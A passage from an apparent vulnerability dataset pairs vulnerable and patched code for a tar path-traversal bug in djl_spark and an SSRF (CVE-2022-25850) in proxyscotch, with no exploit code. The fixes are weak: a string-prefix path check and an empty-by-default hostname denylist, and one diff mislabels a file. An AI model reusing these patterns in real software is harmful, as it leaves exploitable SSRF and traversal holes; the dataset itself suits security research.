\"\"\"\n    def is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])\n        return prefix == abs_directory\n\n    def safe_extract(tar, path=\".\", members=None, *, numeric_owner=False):\n        for member in tar.getmembers():\n            member_path = os.path.join(path, member.name)\n            if not is_within_directory(path, member_path):\n                raise Exception(\"Attempted Path Traversal in Tar File\")\n\n        tar.extractall(path, members, numeric_owner=numeric_owner)\n\n    if not os.path.exists(path):\n        os.makedirs(path)\n    if not os.listdir(path):\n        with tmpdir() as tmp:\n            tmp_file = os.path.join(tmp, \"tar_file\")\n            if url.startswith(\"s3://\"):\n                s3_download(url, tmp_file)\n                with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n                    safe_extract(t, path=path)\n            elif url.startswith(\"http://\") or url.startswith(\"https://\"):\n                with urlopen(url) as response, open(tmp_file, 'wb') as f:\n                    shutil.copyfileobj(response, f)\n                with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n                    safe_extract(t, path=path)"}], "vul_patch": "--- a/extensions/spark/setup/djl_spark/util/files_util.py\n+++ b/extensions/spark/setup/djl_spark/util/files_util.py\n@@ -4,6 +4,20 @@\n     :param url: The url of the tar file.\n     :param path: The path to the file to download to.\n     \"\"\"\n+    def is_within_directory(directory, target):\n+        abs_directory = os.path.abspath(directory)\n+        abs_target = os.path.abspath(target)\n+        prefix = os.path.commonprefix([abs_directory, abs_target])\n+        return prefix == abs_directory\n+\n+    def safe_extract(tar, path=\".\", members=None, *, numeric_owner=False):\n+        for member in tar.getmembers():\n+            member_path = os.path.join(path, member.name)\n+            if not is_within_directory(path, member_path):\n+                raise Exception(\"Attempted Path Traversal in Tar File\")\n+\n+        tar.extractall(path, members, numeric_owner=numeric_owner)\n+\n     if not os.path.exists(path):\n         os.makedirs(path)\n     if not os.listdir(path):\n@@ -12,9 +26,9 @@\n             if url.startswith(\"s3://\"):\n                 s3_download(url, tmp_file)\n                 with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n-                    t.extractall(path=path)\n+                    safe_extract(t, path=path)\n             elif url.startswith(\"http://\") or url.startswith(\"https://\"):\n                 with urlopen(url) as response, open(tmp_file, 'wb') as f:\n                     shutil.copyfileobj(response, f)\n                 with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n-                    t.extractall(path=path)\n+                    safe_extract(t, path=path)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-25850", "cve_description": "The package github.com/hoppscotch/proxyscotch before 1.0.0 are vulnerable to Server-side Request Forgery (SSRF) when interceptor mode is set to proxy. It occurs when an HTTP request is made by a backend server to an untrusted URL submitted by a user. It leads to a leakage of sensitive information from the server.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/hoppscotch/proxyscotch", "patch_url": ["https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7"], "programing_language": "Go", "vul_func": [{"id": "vul_go_240_1", "commit": "f319207", "file_path": "libproxy/proxy.go", "start_line": 22, "end_line": 27, "snippet": "var (\n\taccessToken        string\n\tsessionFingerprint string\n\tallowedOrigins     []string\n\tbannedOutputs      []string\n)"}, {"id": "vul_go_240_2", "commit": "f319207", "file_path": "libproxy/proxy.go", "start_line": 66, "end_line": 117, "snippet": "func Initialize(\n\tinitialAccessToken string,\n\tproxyURL string,\n\tinitialAllowedOrigins string,\n\tinitialBannedOutputs string,\n\tonStatusChange statusChangeFunction,\n\twithSSL bool,\n\tfinished chan bool,\n) {\n\tif initialBannedOutputs != \"\" {\n\t\tbannedOutputs = strings.Split(initialBannedOutputs, \",\")\n\t}\n\tallowedOrigins = strings.Split(initialAllowedOrigins, \",\")\n\taccessToken = initialAccessToken\n\tsessionFingerprint = uuid.New().String()\n\tlog.Println(\"Starting proxy server...\")\n\n\thttp.HandleFunc(\"/\", proxyHandler)\n\n\tif !withSSL {\n\t\tgo func() {\n\t\t\thttpServerError := http.ListenAndServe(proxyURL, nil)\n\n\t\t\tif httpServerError != nil {\n\t\t\t\tonStatusChange(\"An error occurred: \"+httpServerError.Error(), false)\n\t\t\t}\n\n\t\t\tfinished <- true\n\t\t}()\n\n\t\tonStatusChange(\"Listening on http://\"+proxyURL+\"/\", true)\n\t} else {\n\t\tonStatusChange(\"Checking SSL certificate...\", false)\n\n\t\terr := EnsurePrivateKeyInstalled()\n\t\tif err != nil {\n\t\t\tlog.Println(err.Error())\n\t\t\tonStatusChange(\"An error occurred.\", false)\n\t\t}\n\n\t\tgo func() {\n\t\t\thttpServerError := http.ListenAndServeTLS(proxyURL, GetOrCreateDataPath()+\"/cert.pem\", GetOrCreateDataPath()+\"/key.pem\", nil)\n\n\t\t\tif httpServerError != nil {\n\t\t\t\tonStatusChange(\"An error occurred.\", false)\n\t\t\t}\n\t\t}()\n\n\t\tonStatusChange(\"Listening on https://\"+proxyURL+\"/\", true)\n\t\tlog.Println(\"Proxy server listening on https://\" + proxyURL + \"/\")\n\t}\n}"}, {"id": "vul_go_240_3", "commit": "f319207", "file_path": "libproxy/proxy.go", "start_line": 131, "end_line": 326, "snippet": "func proxyHandler(response http.ResponseWriter, request *http.Request) {\n\t// We want to allow all types of requests to the proxy, though we only want to allow certain\n\t// origins.\n\tresponse.Header().Add(\"Access-Control-Allow-Headers\", \"*\")\n\tif request.Method == \"OPTIONS\" {\n\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tresponse.WriteHeader(200)\n\t\treturn\n\t}\n\n\tif request.Header.Get(\"Origin\") == \"\" || !isAllowedOrigin(request.Header.Get(\"Origin\")) {\n\t\tif strings.HasPrefix(request.Header.Get(\"Content-Type\"), \"application/json\") {\n\t\t\tresponse.Header().Add(\"Access-Control-Allow-Headers\", \"*\")\n\t\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\t\tresponse.WriteHeader(200)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\t\treturn\n\t\t}\n\n\t\t// If it is not an allowed origin, redirect back to hoppscotch.io.\n\t\tresponse.Header().Add(\"Location\", \"https://hoppscotch.io/\")\n\t\tresponse.WriteHeader(301)\n\t\treturn\n\t} else {\n\t\t// Otherwise set the appropriate CORS polciy and continue.\n\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", request.Header.Get(\"Origin\"))\n\t}\n\n\t// For anything other than an POST request, we'll return an empty JSON object.\n\tresponse.Header().Add(\"Content-Type\", \"application/json; charset=utf-8\")\n\tif request.Method != \"POST\" {\n\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": true, \\\"data\\\":{\\\"sessionFingerprint\\\":\\\"\"+sessionFingerprint+\"\\\", \\\"isProtected\\\":\"+strconv.FormatBool(len(accessToken) > 0)+\"}}\")\n\t\treturn\n\t}\n\n\t// Attempt to parse request body.\n\tvar requestData Request\n\tisMultipart := strings.HasPrefix(request.Header.Get(\"content-type\"), \"multipart/form-data\")\n\tvar multipartRequestDataKey = request.Header.Get(\"multipart-part-key\")\n\tif multipartRequestDataKey == \"\" {\n\t\tmultipartRequestDataKey = \"proxyRequestData\"\n\t}\n\tif isMultipart {\n\t\tvar err = request.ParseMultipartForm(maxMemory)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t\tr := request.MultipartForm.Value[multipartRequestDataKey]\n\t\terr = json.Unmarshal([]byte(r[0]), &requestData)\n\t\tif err != nil || len(requestData.Url) == 0 || len(requestData.Method) == 0 {\n\t\t\t// If the logged err is nil here, it means either the URL or method were not supplied\n\t\t\t// in the request data.\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tvar err = json.NewDecoder(request.Body).Decode(&requestData)\n\t\tif err != nil || len(requestData.Url) == 0 || len(requestData.Method) == 0 {\n\t\t\t// If the logged err is nil here, it means either the URL or method were not supplied\n\t\t\t// in the request data.\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(accessToken) > 0 && requestData.AccessToken != accessToken {\n\t\tlog.Print(\"An unauthorized request was made.\")\n\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": false, \\\"data\\\":{\\\"message\\\":\\\"(Proxy Error) Unauthorized request; you may need to set your access token in Settings.\\\"}}\")\n\t\treturn\n\t}\n\n\t// Make the request\n\tvar proxyRequest http.Request\n\tproxyRequest.Header = make(http.Header)\n\tproxyRequest.Method = requestData.Method\n\tproxyRequest.URL, _ = url.Parse(requestData.Url)\n\n\tvar params = proxyRequest.URL.Query()\n\n\tfor k, v := range requestData.Params {\n\t\tparams.Set(k, v)\n\t}\n\tproxyRequest.URL.RawQuery = params.Encode()\n\n\tif len(requestData.Auth.Username) > 0 && len(requestData.Auth.Password) > 0 {\n\t\tproxyRequest.SetBasicAuth(requestData.Auth.Username, requestData.Auth.Password)\n\t}\n\tfor k, v := range requestData.Headers {\n\t\tproxyRequest.Header.Set(k, v)\n\t}\n\n\tproxyRequest.Header.Set(\"User-Agent\", \"Proxyscotch/1.1\")\n\n\tif isMultipart {\n\t\tbody := &bytes.Buffer{}\n\t\twriter := multipart.NewWriter(body)\n\t\tfor key := range request.MultipartForm.Value {\n\t\t\tif key == multipartRequestDataKey {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, val := range request.MultipartForm.Value[key] {\n\t\t\t\t// This usually never happens, mostly memory issue\n\t\t\t\terr := writer.WriteField(key, val)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field key: %s error: %v\", key, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor fileKey := range request.MultipartForm.File {\n\t\t\tfor _, val := range request.MultipartForm.File[fileKey] {\n\t\t\t\tf, err := val.Open()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field: %s err: %v\", fileKey, err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfield, _ := writer.CreatePart(val.Header)\n\t\t\t\t_, err = io.Copy(field, f)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field: %s err: %v\", fileKey, err)\n\t\t\t\t}\n\t\t\t\t// Close need not be handled, as go will clear temp file\n\t\t\t\tdefer func(f multipart.File) {\n\t\t\t\t\terr := f.Close()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"Failed to close file\")\n\t\t\t\t\t}\n\t\t\t\t}(f)\n\t\t\t}\n\t\t}\n\t\terr := writer.Close()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Failed to write multipart content: %v\", err)\n\t\t\t_, _ = fmt.Fprintf(response, ErrorBodyProxyRequestFailed)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tcontentType := fmt.Sprintf(\"multipart/form-data; boundary=%v\", writer.Boundary())\n\t\tproxyRequest.Header.Set(\"content-type\", contentType)\n\t\tproxyRequest.Body = ioutil.NopCloser(bytes.NewReader(body.Bytes()))\n\t\tproxyRequest.Body.Close()\n\t} else if len(requestData.Data) > 0 {\n\t\tproxyRequest.Body = ioutil.NopCloser(strings.NewReader(requestData.Data))\n\t\tproxyRequest.Body.Close()\n\t}\n\n\tvar client http.Client\n\tvar proxyResponse *http.Response\n\tproxyResponse, err := client.Do(&proxyRequest)\n\n\tif err != nil {\n\t\tlog.Print(\"Failed to write response body: \", err.Error())\n\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\treturn\n\t}\n\n\tvar responseData Response\n\tresponseData.Success = true\n\tresponseData.Status = proxyResponse.StatusCode\n\tresponseData.StatusText = strings.Join(strings.Split(proxyResponse.Status, \" \")[1:], \" \")\n\tresponseBytes, err := ioutil.ReadAll(proxyResponse.Body)\n\tresponseData.Headers = headerToArray(proxyResponse.Header)\n\n\tif requestData.WantsBinary {\n\t\tfor _, bannedOutput := range bannedOutputs {\n\t\t\tresponseBytes = bytes.ReplaceAll(responseBytes, []byte(bannedOutput), []byte(\"[redacted]\"))\n\t\t}\n\n\t\t// If using the new binary format, encode the response body.\n\t\tresponseData.Data = base64.RawStdEncoding.EncodeToString(responseBytes)\n\t\tresponseData.IsBinary = true\n\t} else {\n\t\t// Otherwise, simply return the old format.\n\t\tresponseData.Data = string(responseBytes)\n\n\t\tfor _, bannedOutput := range bannedOutputs {\n\t\t\tresponseData.Data = strings.Replace(responseData.Data, bannedOutput, \"[redacted]\", -1)\n\t\t}\n\t}\n\n\t// Write the request body to the response.\n\terr = json.NewEncoder(response).Encode(responseData)\n\n\t// Return the response.\n\tif err != nil {\n\t\tlog.Print(\"Failed to write response body: \", err.Error())\n\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\treturn\n\t}\n}"}, {"id": "vul_go_240_4", "commit": "f319207", "file_path": "server/server.go", "start_line": 10, "end_line": 21, "snippet": "func main() {\n\thostPtr := flag.String(\"host\", \"localhost:9159\", \"the hostname that the server should listen on.\")\n\ttokenPtr := flag.String(\"token\", \"\", \"the Proxy Access Token used to restrict access to the server.\")\n\tallowedOriginsPtr := flag.String(\"allowed-origins\", \"*\", \"a comma separated list of allowed origins.\")\n\tbannedOutputsPtr := flag.String(\"banned-outputs\", \"\", \"a comma separated list of banned outputs.\")\n\tflag.Parse()\n\n\tfinished := make(chan bool)\n\tlibproxy.Initialize(*tokenPtr, *hostPtr, *allowedOriginsPtr, *bannedOutputsPtr, onProxyStateChangeServer, false, finished)\n\n\t<-finished\n}"}], "fix_func": [{"id": "fix_go_240_1", "commit": "de67380f62f907f201d75854b76024ba4885fab7", "file_path": "libproxy/proxy.go", "start_line": 22, "end_line": 28, "snippet": "var (\n\taccessToken        string\n\tsessionFingerprint string\n\tallowedOrigins     []string\n\tbannedOutputs      []string\n\tbannedDests        []string\n)"}, {"id": "fix_go_240_2", "commit": "de67380f62f907f201d75854b76024ba4885fab7", "file_path": "libproxy/proxy.go", "start_line": 77, "end_line": 134, "snippet": "func Initialize(\n\tinitialAccessToken string,\n\tproxyURL string,\n\tinitialAllowedOrigins string,\n\tinitialBannedOutputs string,\n\tinitialBannedDests string,\n\tonStatusChange statusChangeFunction,\n\twithSSL bool,\n\tfinished chan bool,\n) {\n\tif initialBannedOutputs != \"\" {\n\t\tbannedOutputs = strings.Split(initialBannedOutputs, \",\")\n\t}\n\tif initialBannedDests != \"\" {\n\t\tbannedDests = strings.Split(initialBannedDests, \",\")\n\t} else {\n\t\tbannedDests = []string{}\n\t}\n\tallowedOrigins = strings.Split(initialAllowedOrigins, \",\")\n\taccessToken = initialAccessToken\n\tsessionFingerprint = uuid.New().String()\n\tlog.Println(\"Starting proxy server...\")\n\n\thttp.HandleFunc(\"/\", proxyHandler)\n\n\tif !withSSL {\n\t\tgo func() {\n\t\t\thttpServerError := http.ListenAndServe(proxyURL, nil)\n\n\t\t\tif httpServerError != nil {\n\t\t\t\tonStatusChange(\"An error occurred: \"+httpServerError.Error(), false)\n\t\t\t}\n\n\t\t\tfinished <- true\n\t\t}()\n\n\t\tonStatusChange(\"Listening on http://\"+proxyURL+\"/\", true)\n\t} else {\n\t\tonStatusChange(\"Checking SSL certificate...\", false)\n\n\t\terr := EnsurePrivateKeyInstalled()\n\t\tif err != nil {\n\t\t\tlog.Println(err.Error())\n\t\t\tonStatusChange(\"An error occurred.\", false)\n\t\t}\n\n\t\tgo func() {\n\t\t\thttpServerError := http.ListenAndServeTLS(proxyURL, GetOrCreateDataPath()+\"/cert.pem\", GetOrCreateDataPath()+\"/key.pem\", nil)\n\n\t\t\tif httpServerError != nil {\n\t\t\t\tonStatusChange(\"An error occurred.\", false)\n\t\t\t}\n\t\t}()\n\n\t\tonStatusChange(\"Listening on https://\"+proxyURL+\"/\", true)\n\t\tlog.Println(\"Proxy server listening on https://\" + proxyURL + \"/\")\n\t}\n}"}, {"id": "fix_go_240_3", "commit": "de67380f62f907f201d75854b76024ba4885fab7", "file_path": "libproxy/proxy.go", "start_line": 148, "end_line": 350, "snippet": "func proxyHandler(response http.ResponseWriter, request *http.Request) {\n\t// We want to allow all types of requests to the proxy, though we only want to allow certain\n\t// origins.\n\tresponse.Header().Add(\"Access-Control-Allow-Headers\", \"*\")\n\tif request.Method == \"OPTIONS\" {\n\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tresponse.WriteHeader(200)\n\t\treturn\n\t}\n\n\tif request.Header.Get(\"Origin\") == \"\" || !isAllowedOrigin(request.Header.Get(\"Origin\")) {\n\t\tif strings.HasPrefix(request.Header.Get(\"Content-Type\"), \"application/json\") {\n\t\t\tresponse.Header().Add(\"Access-Control-Allow-Headers\", \"*\")\n\t\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\t\tresponse.WriteHeader(200)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\t\treturn\n\t\t}\n\n\t\t// If it is not an allowed origin, redirect back to hoppscotch.io.\n\t\tresponse.Header().Add(\"Location\", \"https://hoppscotch.io/\")\n\t\tresponse.WriteHeader(301)\n\t\treturn\n\t} else {\n\t\t// Otherwise set the appropriate CORS polciy and continue.\n\t\tresponse.Header().Add(\"Access-Control-Allow-Origin\", request.Header.Get(\"Origin\"))\n\t}\n\n\t// For anything other than an POST request, we'll return an empty JSON object.\n\tresponse.Header().Add(\"Content-Type\", \"application/json; charset=utf-8\")\n\tif request.Method != \"POST\" {\n\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": true, \\\"data\\\":{\\\"sessionFingerprint\\\":\\\"\"+sessionFingerprint+\"\\\", \\\"isProtected\\\":\"+strconv.FormatBool(len(accessToken) > 0)+\"}}\")\n\t\treturn\n\t}\n\n\t// Attempt to parse request body.\n\tvar requestData Request\n\tisMultipart := strings.HasPrefix(request.Header.Get(\"content-type\"), \"multipart/form-data\")\n\tvar multipartRequestDataKey = request.Header.Get(\"multipart-part-key\")\n\tif multipartRequestDataKey == \"\" {\n\t\tmultipartRequestDataKey = \"proxyRequestData\"\n\t}\n\tif isMultipart {\n\t\tvar err = request.ParseMultipartForm(maxMemory)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t\tr := request.MultipartForm.Value[multipartRequestDataKey]\n\t\terr = json.Unmarshal([]byte(r[0]), &requestData)\n\t\tif err != nil || len(requestData.Url) == 0 || len(requestData.Method) == 0 {\n\t\t\t// If the logged err is nil here, it means either the URL or method were not supplied\n\t\t\t// in the request data.\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tvar err = json.NewDecoder(request.Body).Decode(&requestData)\n\t\tif err != nil || len(requestData.Url) == 0 || len(requestData.Method) == 0 {\n\t\t\t// If the logged err is nil here, it means either the URL or method were not supplied\n\t\t\t// in the request data.\n\t\t\tlog.Printf(\"Failed to parse request body: %v\", err)\n\t\t\t_, _ = fmt.Fprintln(response, ErrorBodyInvalidRequest)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(accessToken) > 0 && requestData.AccessToken != accessToken {\n\t\tlog.Print(\"An unauthorized request was made.\")\n\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": false, \\\"data\\\":{\\\"message\\\":\\\"(Proxy Error) Unauthorized request; you may need to set your access token in Settings.\\\"}}\")\n\t\treturn\n\t}\n\n\t// Make the request\n\tvar proxyRequest http.Request\n\tproxyRequest.Header = make(http.Header)\n\tproxyRequest.Method = requestData.Method\n\tproxyRequest.URL, _ = url.Parse(requestData.Url)\n\n\t// Block requests to illegal destinations\n\tif !isAllowedDest(proxyRequest.URL.Hostname()) {\n\t\tlog.Print(\"A request to a banned destination was made.\")\n\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": false, \\\"data\\\":{\\\"message\\\":\\\"(Proxy Error) Request cannot be to this destination.\\\"}}\")\n\t\treturn\n\t}\n\n\tvar params = proxyRequest.URL.Query()\n\n\tfor k, v := range requestData.Params {\n\t\tparams.Set(k, v)\n\t}\n\tproxyRequest.URL.RawQuery = params.Encode()\n\n\tif len(requestData.Auth.Username) > 0 && len(requestData.Auth.Password) > 0 {\n\t\tproxyRequest.SetBasicAuth(requestData.Auth.Username, requestData.Auth.Password)\n\t}\n\tfor k, v := range requestData.Headers {\n\t\tproxyRequest.Header.Set(k, v)\n\t}\n\n\tproxyRequest.Header.Set(\"User-Agent\", \"Proxyscotch/1.1\")\n\n\tif isMultipart {\n\t\tbody := &bytes.Buffer{}\n\t\twriter := multipart.NewWriter(body)\n\t\tfor key := range request.MultipartForm.Value {\n\t\t\tif key == multipartRequestDataKey {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, val := range request.MultipartForm.Value[key] {\n\t\t\t\t// This usually never happens, mostly memory issue\n\t\t\t\terr := writer.WriteField(key, val)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field key: %s error: %v\", key, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor fileKey := range request.MultipartForm.File {\n\t\t\tfor _, val := range request.MultipartForm.File[fileKey] {\n\t\t\t\tf, err := val.Open()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field: %s err: %v\", fileKey, err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfield, _ := writer.CreatePart(val.Header)\n\t\t\t\t_, err = io.Copy(field, f)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Failed to write multipart field: %s err: %v\", fileKey, err)\n\t\t\t\t}\n\t\t\t\t// Close need not be handled, as go will clear temp file\n\t\t\t\tdefer func(f multipart.File) {\n\t\t\t\t\terr := f.Close()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"Failed to close file\")\n\t\t\t\t\t}\n\t\t\t\t}(f)\n\t\t\t}\n\t\t}\n\t\terr := writer.Close()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Failed to write multipart content: %v\", err)\n\t\t\t_, _ = fmt.Fprintf(response, ErrorBodyProxyRequestFailed)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tcontentType := fmt.Sprintf(\"multipart/form-data; boundary=%v\", writer.Boundary())\n\t\tproxyRequest.Header.Set(\"content-type\", contentType)\n\t\tproxyRequest.Body = ioutil.NopCloser(bytes.NewReader(body.Bytes()))\n\t\tproxyRequest.Body.Close()\n\t} else if len(requestData.Data) > 0 {\n\t\tproxyRequest.Body = ioutil.NopCloser(strings.NewReader(requestData.Data))\n\t\tproxyRequest.Body.Close()\n\t}\n\n\tvar client http.Client\n\tvar proxyResponse *http.Response\n\tproxyResponse, err := client.Do(&proxyRequest)\n\n\tif err != nil {\n\t\tlog.Print(\"Failed to write response body: \", err.Error())\n\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\treturn\n\t}\n\n\tvar responseData Response\n\tresponseData.Success = true\n\tresponseData.Status = proxyResponse.StatusCode\n\tresponseData.StatusText = strings.Join(strings.Split(proxyResponse.Status, \" \")[1:], \" \")\n\tresponseBytes, err := ioutil.ReadAll(proxyResponse.Body)\n\tresponseData.Headers = headerToArray(proxyResponse.Header)\n\n\tif requestData.WantsBinary {\n\t\tfor _, bannedOutput := range bannedOutputs {\n\t\t\tresponseBytes = bytes.ReplaceAll(responseBytes, []byte(bannedOutput), []byte(\"[redacted]\"))\n\t\t}\n\n\t\t// If using the new binary format, encode the response body.\n\t\tresponseData.Data = base64.RawStdEncoding.EncodeToString(responseBytes)\n\t\tresponseData.IsBinary = true\n\t} else {\n\t\t// Otherwise, simply return the old format.\n\t\tresponseData.Data = string(responseBytes)\n\n\t\tfor _, bannedOutput := range bannedOutputs {\n\t\t\tresponseData.Data = strings.Replace(responseData.Data, bannedOutput, \"[redacted]\", -1)\n\t\t}\n\t}\n\n\t// Write the request body to the response.\n\terr = json.NewEncoder(response).Encode(responseData)\n\n\t// Return the response.\n\tif err != nil {\n\t\tlog.Print(\"Failed to write response body: \", err.Error())\n\t\t_, _ = fmt.Fprintln(response, ErrorBodyProxyRequestFailed)\n\t\treturn\n\t}\n}"}, {"id": "fix_go_240_4", "commit": "de67380f62f907f201d75854b76024ba4885fab7", "file_path": "server/server.go", "start_line": 10, "end_line": 23, "snippet": "func main() {\n\thostPtr := flag.String(\"host\", \"localhost:9159\", \"the hostname that the server should listen on.\")\n\ttokenPtr := flag.String(\"token\", \"\", \"the Proxy Access Token used to restrict access to the server.\")\n\tallowedOriginsPtr := flag.String(\"allowed-origins\", \"*\", \"a comma separated list of allowed origins.\")\n\tbannedOutputsPtr := flag.String(\"banned-outputs\", \"\", \"a comma separated list of banned outputs.\")\n\tbannedDestsPtr := flag.String(\"banned-dests\", \"\", \"a comma separated list of banned proxy destinations.\")\n\n\tflag.Parse()\n\n\tfinished := make(chan bool)\n\tlibproxy.Initialize(*tokenPtr, *hostPtr, *allowedOriginsPtr, *bannedOutputsPtr, *bannedDestsPtr, onProxyStateChangeServer, false, finished)\n\n\t<-finished\n}"}, {"id": "fix_go_240_5", "commit": "de67380f62f907f201d75854b76024ba4885fab7", "file_path": "libproxy/proxy.go", "start_line": 53, "end_line": 62, "snippet": "func isAllowedDest(dest string) bool {\n\tfor _, b := range bannedDests {\n\t\tif b == dest {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n"}], "vul_patch": "--- a/libproxy/proxy.go\n+++ b/libproxy/proxy.go\n@@ -3,4 +3,5 @@\n \tsessionFingerprint string\n \tallowedOrigins     []string\n \tbannedOutputs      []string\n+\tbannedDests        []string\n )\n\n--- a/libproxy/proxy.go\n+++ b/libproxy/proxy.go\n@@ -3,12 +3,18 @@\n \tproxyURL string,\n \tinitialAllowedOrigins string,\n \tinitialBannedOutputs string,\n+\tinitialBannedDests string,\n \tonStatusChange statusChangeFunction,\n \twithSSL bool,\n \tfinished chan bool,\n ) {\n \tif initialBannedOutputs != \"\" {\n \t\tbannedOutputs = strings.Split(initialBannedOutputs, \",\")\n+\t}\n+\tif initialBannedDests != \"\" {\n+\t\tbannedDests = strings.Split(initialBannedDests, \",\")\n+\t} else {\n+\t\tbannedDests = []string{}\n \t}\n \tallowedOrigins = strings.Split(initialAllowedOrigins, \",\")\n \taccessToken = initialAccessToken\n\n--- a/libproxy/proxy.go\n+++ b/libproxy/proxy.go\n@@ -78,6 +78,13 @@\n \tproxyRequest.Header = make(http.Header)\n \tproxyRequest.Method = requestData.Method\n \tproxyRequest.URL, _ = url.Parse(requestData.Url)\n+\n+\t// Block requests to illegal destinations\n+\tif !isAllowedDest(proxyRequest.URL.Hostname()) {\n+\t\tlog.Print(\"A request to a banned destination was made.\")\n+\t\t_, _ = fmt.Fprintln(response, \"{\\\"success\\\": false, \\\"data\\\":{\\\"message\\\":\\\"(Proxy Error) Request cannot be to this destination.\\\"}}\")\n+\t\treturn\n+\t}\n \n \tvar params = proxyRequest.URL.Query()\n \n\n--- a/server/server.go\n+++ b/server/server.go\n@@ -3,10 +3,12 @@\n \ttokenPtr := flag.String(\"token\", \"\", \"the Proxy Access Token used to restrict access to the server.\")\n \tallowedOriginsPtr := flag.String(\"allowed-origins\", \"*\", \"a comma separated list of allowed origins.\")\n \tbannedOutputsPtr := flag.String(\"banned-outputs\", \"\", \"a comma separated list of banned outputs.\")\n+\tbannedDestsPtr := flag.String(\"banned-dests\", \"\", \"a comma separated list of banned proxy destinations.\")\n+\n \tflag.Parse()\n \n \tfinished := make(chan bool)\n-\tlibproxy.Initialize(*tokenPtr, *hostPtr, *allowedOriginsPtr, *bannedOutputsPtr, onProxyStateChangeServer, false, finished)\n+\tlibproxy.Initialize(*tokenPtr, *hostPtr, *allowedOriginsPtr, *bannedOutputsPtr, *bannedDestsPtr, onProxyStateChangeServer, false, finished)\n \n \t<-finished\n }\n\n--- /dev/null\n+++ b/server/server.go\n@@ -0,0 +1,9 @@\n+func isAllowedDest(dest string) bool {\n+\tfor _, b := range bannedDests {\n+\t\tif b == dest {\n+\t\t\treturn false\n+\t\t}\n+\t}\n+\n+\treturn true\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
